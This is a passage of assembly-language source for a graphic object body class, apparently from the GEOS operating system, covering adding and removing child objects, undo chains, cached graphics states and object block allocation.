%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add a graphic object to the graphic body. The object will be notified via MSG_GO_AFTER_ADDED_TO_BODY that it has been added to the body. If the object was added at the top of the draw list it will be sent a message draw, otherwise it will be invalidated. PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass cx:dx - OD of graphic object to add bp - GrObjBodyAddGrObjFlags RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: Newly added object will be at end of draw list REVISION HISTORY: Name Date Description ---- ---- ----------- srs 1/23/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyAddGrObjThenDraw method dynamic GrObjBodyClass, MSG_GB_ADD_GROBJ_THEN_DRAW .enter mov ax,MSG_GB_ADD_GROBJ call ObjCallInstanceNoLock mov ax,MSG_GB_DRAW_GROBJ call ObjCallInstanceNoLock .leave ret GrObjBodyAddGrObjThenDraw endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyDrawGrObj %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw or invalidate the passed grobj as necessary PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass ^lcx:dx RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 11/ 6/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyDrawGrObj method dynamic GrObjBodyClass, MSG_GB_DRAW_GROBJ uses cx,dx,bp .enter ; Lock the object and check the LP_IS_PARENT in its ; GOI_drawLink field to see if it is the top object ; mov bx,cx ;object block mov di,dx ;object chunk call ObjLockObjBlock mov es,ax ;object segment GrObjDeref di,es,di test es:[di].GOI_drawLink.chunk, LP_IS_PARENT jz invalidate ; GrObj is top object in draw list, so send it a draw message ; mov ax,MSG_GB_CREATE_GSTATE call ObjCallInstanceNoLockES tst bp jz unlock ;bail if no gstate push dx ;object chunk clr cl ;DrawFlags call GrObjBodySetGrObjDrawFlagsForDraw segmov ds,es ;object segment pop si ;object chunk mov ax,MSG_GO_DRAW call ObjCallInstanceNoLockES mov di,bp ;gstate call GrDestroyState unlock: call MemUnlock .leave ret invalidate: segmov ds,es ;object segment mov si,dx ;object chunk mov ax,MSG_GO_INVALIDATE call ObjCallInstanceNoLockES jmp unlock GrObjBodyDrawGrObj endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyAddGrObj %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add a graphic object as child of graphic body PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass cx:dx -- optr of object to add bp - GrObjBodyAddGrObjFlags RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: All of the children of the body are in two lists. These list are in reverse order of each other. The drawing order list is connected with the GOI_drawLink field The reverse list is connected via the GOI_reverseLink list. This routine first adds the object to the draw list then adds it to the reverse list. KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 5/17/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyAddGrObj method dynamic GrObjBodyClass, MSG_GB_ADD_GROBJ .enter call GrObjBodyGenerateUndoAddToBodyChain call GrObjBodyAddGrObjLow mov bx,cx ;child handle mov si,dx ;child chunk mov di,mask MF_FIXUP_DS mov ax,MSG_GO_AFTER_ADDED_TO_BODY call ObjMessage ; Must do after object has been added to body so that ; the object can be used to calculate wrap areas. ; call GrObjBodySendWrapNotificationForAddAndRemove .leave ret GrObjBodyAddGrObj endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodySendWrapNotificationForAddAndRemove %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Send GOANT_WRAP_NOTIFICATION for object if it has one of the wrap flag set CALLED BY: INTERNAL GrObjBodyAddGrObj GrObjBodyRemoveGrObj PASS: ^lbx:si - grobject RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This routine should be optimized for SMALL SIZE over SPEED Common cases: no wrap flags set REVISION HISTORY: Name Date Description ---- ---- ----------- srs 3/28/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodySendWrapNotificationForAddAndRemove proc near uses ax,cx,di,bp .enter mov di,mask MF_FIXUP_DS or mask MF_CALL mov ax,MSG_GO_GET_GROBJ_ATTR_FLAGS call ObjMessage test cx,mask GOAF_WRAP jnz sendNotification done: .leave ret sendNotification: mov di,mask MF_FIXUP_DS mov bp,GOANT_WRAP_CHANGED mov ax,MSG_GO_NOTIFY_ACTION call ObjMessage jmp done GrObjBodySendWrapNotificationForAddAndRemove endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyAddGrObjLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Add a graphic object as child of graphic body, without sending notification to object. PASS: *(ds:si) - instance data of object cx:dx -- optr of object to add bp - GrObjBodyAddGrObjFlags RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: All of the children of the body are in two lists. These list are in reverse order of each other. The drawing order list is connected with the GOI_drawLink field The reverse list is connected via the GOI_reverseLink list. This routine first adds the object to the draw list then adds it to the reverse list. KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 5/17/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyAddGrObjLow proc near class GrObjBodyClass uses ax,bp,di .enter EC < call ECGrObjBodyCheckLMemObject > ; If position passed is not for draw list then ; convert it to draw list position ; test bp, mask GOBAGOF_DRAW_LIST_POSITION jnz addToDrawLinkage call GrObjBodyConvertListPosition addToDrawLinkage: ; Add child to normal draw linkage ; The GOBAGOF_DRAW_LIST_POSITION bit is in the ; same place as CCF_MARK_DIRTY, so if we don't muck ; with bp the involved objects will be marked dirty, ; which is what we want. ; CheckHack <(offset GrObj_offset) eq (offset Vis_offset)> movnf ax, <offset GOI_drawLink> mov di,offset GBI_drawComp mov bx, offset GrObj_offset ;grobj is master push bp ;draw position call ObjCompAddChild pop bp ;draw position ; Convert draw list position to reverse position ; call GrObjBodyConvertListPosition ; Add child to reverse list ; Since the GOBAGOF_DRAW_LIST_POSITION bit is not set ; we actually need to set the dirty bit here, unlike ; above. ; ornf bp, mask CCF_MARK_DIRTY CheckHack <(offset GrObj_offset) eq (offset Vis_offset)> mov ax, offset GOI_reverseLink mov di,offset GBI_reverseComp mov bx, offset GrObj_offset ;grobj is master call ObjCompAddChild mov di,ds:[si] add di,ds:[di].GrObjBody_offset inc ds:[di].GBI_childCount .leave ret GrObjBodyAddGrObjLow endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyGenerateUndoAddToBodyChain %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Generate an undo chain for adding object to body CALLED BY: INTERNAL GrObjBodyAddGrObj PASS: *ds:si - body cx:dx - optr of child RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: The undo action for adding a grobject to the body is MSG_GO_REMOVE_FROM_BODY instead of MSG_GB_REMOVE_GROBJ because the object may have become selected after it was added and only MSG_GO_REMOVE_FROM_BODY deals with releasing exclusives. KNOWN BUGS/SIDE EFFECTS/IDEAS: This routine should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 8/ 4/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyGenerateUndoAddToBodyChain proc near uses ax,cx,dx,di,bp .enter EC < call ECGrObjBodyCheckLMemObject > call GrObjGlobalStartUndoChainNoText jc endChain sub sp,size AddUndoActionStruct mov bp,sp mov ss:[bp].AUAS_data.UAS_dataType,UADT_FLAGS mov ({GrObjUndoAppType}ss:[bp].AUAS_data.UAS_appType).\ GOUAT_undoMessage,MSG_GO_REMOVE_FROM_BODY clr ss:[bp].AUAS_flags mov ss:[bp].AUAS_output.handle,cx mov ss:[bp].AUAS_output.chunk,dx mov di,mask MF_FIXUP_DS call GeodeGetProcessHandle mov ax,MSG_GEN_PROCESS_UNDO_ADD_ACTION call ObjMessage add sp,size AddUndoActionStruct endChain: call GrObjGlobalEndUndoChain .leave ret GrObjBodyGenerateUndoAddToBodyChain endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyConvertListPosition %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Convert a draw list position to a reverse list position and vice versa. Other list position - child count - list position CALLED BY: INTERNAL UTILITY PASS: *ds:si - body bp - GrObjBodyAddGrObjFlags RETURN: bp - GrObjBodyAddGrObjFlags in other list DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This routine should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 5/19/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyConvertListPosition proc far class GrObjBodyClass uses ax,bx .enter EC < call ECGrObjBodyCheckLMemObject > ; Get other list's position high bit in bx ; mov bx,bp not bx andnf bx,mask GOBAGOF_DRAW_LIST_POSITION ; Convert raw position ; BitClr bp, GOBAGOF_DRAW_LIST_POSITION mov di,ds:[si] add di,ds:[di].GrObjBody_offset mov ax,ds:[di].GBI_childCount xchg ax,bp ;ax <- position, bp <- count sub bp,ax jns setBit clr bp ; Set other lists position high bit ; setBit: ornf bp,bx .leave ret GrObjBodyConvertListPosition endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyRemoveGrObj %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Remove a graphic object child from graphic body PASS: *(ds:si) - instance data of object cx:dx -- optr of object to remove RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: All of the children of the body are in two lists. These list are in reverse order of each other. The drawing order list is connected with the GOI_drawLink field. The reverse list is connected via the GOI_reverseLink list. This routine first removes the object from the draw list then removes it from the reverse list. KNOWN BUGS/SIDE EFFECTS/IDEAS: WARNING: This message handler is not dynamic, so it can be called as a routine. Thusly, only *ds:si can be counted on. And it must be careful about the regsiters is destroys. REVISION HISTORY: Name Date Description ---- ---- ----------- srs 5/17/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyRemoveGrObj method dynamic GrObjBodyClass, MSG_GB_REMOVE_GROBJ .enter call GrObjBodyGenerateUndoRemoveFromBodyChain ; Notify object that it is about to be removed ; from body ; push si ;body chunk mov bx,cx ;child block mov si,dx ;child chunk mov di,mask MF_FIXUP_DS mov ax,MSG_GO_BEFORE_REMOVED_FROM_BODY call ObjMessage pop si ;body chunk call GrObjBodyRemoveGrObjLow ; Must do after object has been removed to body so that ; the object won't be used to calculate wrap areas. ; movdw bxsi,cxdx ;child od call GrObjBodySendWrapNotificationForAddAndRemove .leave ret GrObjBodyRemoveGrObj endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyRemoveGrObjLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Remove a graphic object child from graphic body with out sending notification of removal to object. PASS: *(ds:si) - instance data of object cx:dx -- optr of object to remove RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: All of the children of the body are in two lists. These list are in reverse order of each other. The drawing order list is connected with the GOI_drawLink field. The reverse list is connected via the GOI_reverseLink list. This routine first removes the object from the draw list then removes it from the reverse list. KNOWN BUGS/SIDE EFFECTS/IDEAS: WARNING: This message handler is not dynamic, so it can be called as a routine. Thusly, only *ds:si can be counted on. And it must be careful about the regsiters is destroys. REVISION HISTORY: Name Date Description ---- ---- ----------- srs 5/17/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyRemoveGrObjLow proc near class GrObjBodyClass uses ax,bx,bp,di .enter EC < call ECGrObjBodyCheckLMemObject > mov di,ds:[si] add di,ds:[di].GrObjBody_offset dec ds:[di].GBI_childCount ; Remove child from normal draw linkage ; CheckHack <(offset GrObj_offset) eq (offset Vis_offset)> movnf ax, <offset GOI_drawLink> mov di,offset GBI_drawComp mov bx, offset GrObj_offset ;grobj is master mov bp, mask CCF_MARK_DIRTY call ObjCompRemoveChild ; Remove child from reverse linkage ; CheckHack <(offset GrObj_offset) eq (offset Vis_offset)> mov ax, offset GOI_reverseLink mov di,offset GBI_reverseComp mov bx, offset GrObj_offset ;grobj is master mov bp, mask CCF_MARK_DIRTY call ObjCompRemoveChild .leave ret GrObjBodyRemoveGrObjLow endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyGenerateUndoRemoveFromBodyChain %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Generate an undo chain for removing object from body CALLED BY: INTERNAL GrObjBodyRemoveGrObj PASS: *ds:si - body cx:dx - optr of child RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This routine should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 8/ 4/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyGenerateUndoRemoveFromBodyChain proc near uses ax,bx,di,bp .enter EC < call ECGrObjBodyCheckLMemObject > call GrObjGlobalStartUndoChainNoText jc endChain ; Get position in reverse list of child so that it can ; be undeleted into the correct place ; push cx,dx ;child od mov ax,MSG_GB_FIND_GROBJ call ObjCallInstanceNoLock mov bp,dx ;rev position pop cx,dx ;child od ; Make that undo chain ; mov ax,MSG_GB_ADD_GROBJ_THEN_DRAW ;undo message clr bx ;AddUndoActionFlags call GrObjGlobalAddFlagsUndoAction endChain: call GrObjGlobalEndUndoChain .leave ret GrObjBodyGenerateUndoRemoveFromBodyChain endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyVupCreateGState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Create gstate with proper translations in it PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: bp - gstate DESTROYED: stc - defined as returned ax,cx,dx PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 7/26/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyVupCreateGState method dynamic GrObjBodyClass, MSG_VIS_VUP_CREATE_GSTATE .enter ; Send message on up to create gstate ; mov ax,MSG_VIS_VUP_CREATE_GSTATE mov di,offset GrObjBodyClass call ObjCallSuperNoLock ; Apply translation of GrObjBody ; mov di,ds:[si] add di,ds:[di].GrObjBody_offset mov dx, ds:[di].GBI_bounds.RD_left.high mov cx, ds:[di].GBI_bounds.RD_left.low mov bx, ds:[di].GBI_bounds.RD_top.high mov ax, ds:[di].GBI_bounds.RD_top.low mov di,bp ;gstate call GrApplyTranslationDWord stc ;by definition .leave ret GrObjBodyVupCreateGState endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyCreateGState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: For speed purposes the grobj keeps a cached gstate. When something in the grobj requests a gstate we create a gstate and copy the cached gstates transform into the new one. This prevent us from having to vup up the vis linking several more levels. We don't use the cached gstate so that the caller can function just as if it called GrCreateState and destroy the gstate when it is done. PASS: *(ds:si) - instance data of object RETURN: bp - gstate DESTROYED: ax PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SPEED over SMALL SIZE Common cases: body does have a cached gstate WARNING: This method is not dynamic, so the passed parameters are more limited and you must be careful what you destroy. REVISION HISTORY: Name Date Description ---- ---- ----------- srs 8/26/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyCreateGState method GrObjBodyClass, MSG_GB_CREATE_GSTATE uses ax,bx,di,si,ds .enter ; Check for no cached gstate ; mov di,ds:[si] add di,ds:[di].GrObjBody_offset mov di,ds:[di].GBI_graphicsState tst di jz vup ; Get transform from cached gstate. ; Create new gstate to body's window and set transform in it ; Also copy two of the text mode bits ; ; Also copy the text ColorMapMode. Ideally VUPing for the ; GState would always be done, and this wouldn't be an issue. ; However, that isn't pratical for speed reasons. Not ; VUPing means that an app (eg. GeoWrite) cannot subclass ; MSG_VIS_VUP_CREATE_GSTATE & initialize the GState and ; have it consistently used. This results in text being ; drawn differently when edited than when redrawn. ; Another, more general alternative (which involves an API ; change, so I rejected it for now) to copying various ; attributes is to add a new routine, GrDuplicateState() ; which duplicates an existing GState and all its attributes. ; -eca 7/27/94 mov bx,ds:[si] add bx,ds:[bx].Vis_offset mov bx,ds:[bx].VCI_window sub sp,size TransMatrix mov si,sp segmov ds,ss,ax call GrGetTransform call GrGetTextColorMap ;al = ColorMapMode push ax call GrGetTextMode ;al = text mode mov di,bx ;window call GrCreateState and al, mask TM_DRAW_CONTROL_CHARS or mask TM_DRAW_OPTIONAL_HYPHENS mov ah, mask TM_DRAW_CONTROL_CHARS or mask TM_DRAW_OPTIONAL_HYPHENS call GrSetTextMode pop ax ;al = ColorMapMode call GrSetTextColorMap call GrSetTransform mov bp,di ;gstate add sp,size TransMatrix done: .leave ret vup: ; For some reason we have no cached gstate so just vup for one ; push cx,dx mov ax,MSG_VIS_VUP_CREATE_GSTATE call ObjCallInstanceNoLock pop cx,dx jmp done GrObjBodyCreateGState endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyRecreateCachedGStates %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Destroy our cached gstate and create a new one PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: This method should be optimized for SMALL SIZE over SPEED Common cases: unknown REVISION HISTORY: Name Date Description ---- ---- ----------- srs 8/26/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyRecreateCachedGStates method dynamic GrObjBodyClass, MSG_VIS_RECREATE_CACHED_GSTATES .enter mov di,ds:[di].GBI_graphicsState tst di jz children call GrDestroyState mov ax,MSG_VIS_VUP_CREATE_GSTATE call ObjCallInstanceNoLock mov di,ds:[si] add di,ds:[di].GrObjBody_offset mov ds:[di].GBI_graphicsState,bp children: ; The object with the target may have a cached gstate ; mov ax,MSG_GO_RECREATE_CACHED_GSTATES mov di,mask MF_FIXUP_DS call GrObjBodyMessageToEdit .leave Destroy ax,cx,dx,bp ret GrObjBodyRecreateCachedGStates endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyIncreasePotentialExpansion %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Notify the tree that an object in the current block could potentially increase to the number of bytes in cx PASS: *(ds:si) - instance data cx - number of bytes dx - block handle RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 2/18/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyIncreasePotentialExpansion method GrObjBodyClass, MSG_GB_INCREASE_POTENTIAL_EXPANSION .enter mov si, ds:[di].GBI_objBlockArray tst si jz done call ObjMarkDirty mov bx, cs mov di, offset GrObjBlockHandleElementUpdatePotentialSizeCB call ChunkArrayEnum done: .leave ret GrObjBodyIncreasePotentialExpansion endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyDecreasePotentialExpansion %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Notify the body that an object is being destroyed that increased the increase potential of block. If the object is in the current block then decrease potential PASS: *(ds:si) - instance data cx - number of bytes to decrease dx - handle of block to decrease in RETURN: nothing DESTROYED: ax,cx,dx,bp PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 2/18/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyDecreasePotentialExpansion method GrObjBodyClass, MSG_GB_DECREASE_POTENTIAL_EXPANSION uses cx .enter mov si, ds:[di].GBI_objBlockArray tst si jz done call ObjMarkDirty neg cx mov bx, cs mov di, offset GrObjBlockHandleElementUpdatePotentialSizeCB call ChunkArrayEnum done: .leave ret GrObjBodyDecreasePotentialExpansion endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBlockHandleElementUpdatePotentialSizeCB %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Updates the block's potential size if it matches the passed block handle Pass: ds:di - GrObjBlockHandleElement dx - block handle cx - amount to add to potential size Return: carry set if found, else carry clear Destroyed: nothing Comments: Revision History: Name Date Description ---- ------------ ----------- jon Jul 17, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBlockHandleElementUpdatePotentialSizeCB proc far .enter cmp ds:[di].GOBHE_blockHandle, dx clc jnz done add ds:[di].GOBHE_potentialSize, cx stc done: .leave ret GrObjBlockHandleElementUpdatePotentialSizeCB endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyGetBlockForOneGrObj %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Returns block of handle to instantiate new tool in CALLED BY: INTERNAL GrObjBodySetToolClass PASS: *(ds:si) - instance data of object ds:[bx] - instance data of object ds:[di] - master part of object (if any) es - segment of GrObjBodyClass RETURN: cx - handle of block GBI_curBlock = cx DESTROYED: nothing PSEUDO CODE/STRATEGY: none KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- srs 12/ 9/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBodyGetBlockForOneGrObj method dynamic GrObjBodyClass, MSG_GB_GET_BLOCK_FOR_ONE_GROBJ .enter ; If no current block then jump to alloc a new one ; mov ax, ds:[di].GBI_objBlockArray tst ax jz createArray ; ; If size of block is too big, or the potential expansion ; is to large the jump to alloc a new block ; push si ;save body chunk mov_tr si, ax ;*ds:si <- block mov bx, cs mov di, offset GrObjBlockHandleElementGetUnfullBlockCB clr cx ;assume no block call ChunkArrayEnum pop si ;*ds:si <- body jcxz newBlock done: .leave ret createArray: push si ;save body chunk mov bx, size GrObjBlockHandleElement clr cx ;default ChunkArrayHeader clr si ;alloc a chunk mov al, mask OCF_DIRTY call ChunkArrayCreate mov_tr ax, si ;ax <- array chunk pop si mov di, ds:[si] add di, ds:[di].GrObjBody_offset mov ds:[di].GBI_objBlockArray, ax newBlock: call GrObjBodyAllocGrObjBlock mov_tr cx, bx ;return block in cx jmp done GrObjBodyGetBlockForOneGrObj endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBlockHandleElementGetUnfullBlockCB %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Callback routine wherein each GrObjBlockHandleElement determines whether or not it can take another grobj. Pass: ds:di - GrObjBlockHandleElement cx - 0 Return: if GrObjBlockHandleElement could accept another grobj: carry set cx - block handle else carry clear cx - 0 Destroyed: ax,bx Comments: Revision History: Name Date Description ---- ------------ ----------- jon Jul 17, 1992 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GrObjBlockHandleElementGetUnfullBlockCB proc far .enter cmp ds:[di].GOBHE_potentialSize, MAX_ALLOWED_POTENTIAL_BLOCK_SIZE \ - MAX_ALLOWED_POTENTIAL_GROBJ_SIZE jae done ;jae = jnc ; ; Let's check the block's size against the max allowed ; mov bx, ds:[di].GOBHE_blockHandle mov ax, MGIT_SIZE call MemGetInfo cmp ax, MAX_DESIRED_BLOCK_SIZE + 1 jae done ;jae = jnc ; ; This block will do. ; mov cx, bx stc done: .leave ret GrObjBlockHandleElementGetUnfullBlockCB endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GrObjBodyAlloc %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Alloc a block in the current vm file CALLED BY: INTERNAL 